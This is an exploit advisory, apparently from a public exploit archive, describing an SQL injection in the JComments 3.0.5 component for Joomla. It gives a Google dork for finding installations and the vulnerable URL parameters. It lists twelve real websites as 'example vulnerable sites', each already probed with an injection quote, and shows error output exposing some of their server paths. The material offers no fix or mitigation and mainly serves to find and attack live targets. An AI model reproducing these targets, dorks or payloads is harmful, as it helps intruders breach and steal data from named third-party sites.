Joomla JComments Components 3.0.5 SQL Injection

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# Exploit Title : Joomla JComments Components 3.0.5 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 31/01/2019
# Vendor Homepage : joomlatune.com
# Software Download Link : joomlatune.com/jcomments-downloads.html
# Software Information Link : extensions.joomla.org/extension/jcomments/
# Software Version : 3.0.5
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_jcomments''
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Reference Link : cxsecurity.com/issue/WLB-2019010305
packetstormsecurity.com/files/151428/Joomla-JComments-3.0.5-SQL-Injection.html

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# Description about Software :
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JComments is released under the GNU GPL license and is distributed for free.

The JComments is a powerful and easy to use AJAX based comment system

for Joomla with flexible ACL, smiles, BBCodes and avatars support.

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# Impact :
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Joomla JComments 3.0.5 component for Joomla! is prone to an SQL-injection vulnerability

because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application,

access or modify data, or exploit latent vulnerabilities in the underlying database.

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# SQL Injection Exploit :
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/index.php?option=com_jcomments&Itemid=[SQL Injection]

/index.php?option=com_jcomments&task=rss&object_id=[SQL Injection]

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# Example Vulnerable Sites :
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[+] kateb.edu.af/fa/index.php?option=com_jcomments&task=rss&object_id=97%27

[+] swalestudio.com/anime/index.php?option=com_jcomments&task=rss&object_id=292%27

[+] kok.logipam.com/index.php?option=com_jcomments&Itemid=53%27

[+] asesorialogistica.cl/index.php?option=com_jcomments&task=rss&object_id=81%27

[+] coin.wne.uw.edu.pl/sledziewska/index.php?option=com_jcomments&task=rss&object_id=1%27

[+] mail.villantomagazin.com/regi/index.php?option=com_jcomments&task=rss&object_id=1015%27

[+] bunavestirea.md/index.php?option=com_jcomments&Itemid=53%27

[+] agrodam.cz/hokej/index.php?option=com_jcomments&task=rss&object_id=108%27

[+] giemmefilati.com/arcipelagomuratori/index.php?option=com_jcomments&Itemid=53%27

[+] insightitaly.com/index.php?option=com_jcomments&Itemid=127%27

[+] prospekt.ee/old/index.php/index.php?option=com_jcomments&task=rss&object_id=8468%27

[+] perunaltracitta.org/listadicittadinanza/index.php?option=com_jcomments&task=rss&object_id=938%27

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# Example SQL Database Error :
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Strict Standards: Non-static method JLoader::import() should not be
called statically in /home1/swalestu/public_html/anime
/libraries/joomla/import.php on line 29

Warning: Creating default object from empty value in
/data05/virt18853/domeenid/www.prospekt.ee/htdocs/old/plugins
/system/nonumberelements/helpers/parameters.php on line 130

Deprecated: preg_replace(): The /e modifier is deprecated, use
preg_replace_callback instead in /data05/virt18853/domeenid
/www.prospekt.ee/htdocs/old/libraries/joomla/filter/
filterinput.php on line 501

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

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